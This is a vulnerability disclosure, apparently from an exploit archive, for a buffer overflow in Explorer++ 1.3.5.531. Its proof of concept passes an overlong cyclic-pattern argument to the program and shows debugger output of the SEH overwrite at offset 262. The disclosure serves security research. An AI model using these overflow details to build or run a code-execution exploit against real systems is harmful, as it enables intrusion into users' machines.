Explorer32++ v1.3.5.531 – Buffer overflow
# Exploit Title: Explorer32++ 1.3.5.531 - Buffer overflow # Discovery by: Rafael Pedrero # Discovery Date: 2022-01-09 # Vendor Homepage: http://www.explorerplusplus.com/ # Software Link : http://www.explorerplusplus.com/ # Tested Version: 1.3.5.531 # Tested on: Windows 10 CVSS v3: 7.3 CVSS vector: CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H CWE: CWE-119 Buffer overflow controlling the Structured Exception Handler (SEH) records in Explorer++ 1.3.5.531, and possibly other versions, may allow attackers to execute arbitrary code via a long file name argument. Proof of concept: Open Explorer32++.exe from command line with a large string in Arguments, more than 396 chars: File '<Explorer++_PATH>\Explorer32++.exe' Arguments 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4...' SEH chain of main thread Address SE handler 0018FB14 00690041 00370069 *** CORRUPT ENTRY *** 0BADF00D [+] Examining SEH chain 0BADF00D SEH record (nseh field) at 0x0018fb14 overwritten with unicode pattern : 0x00370069 (offset 262), followed by 626 bytes of cyclic data after the handler |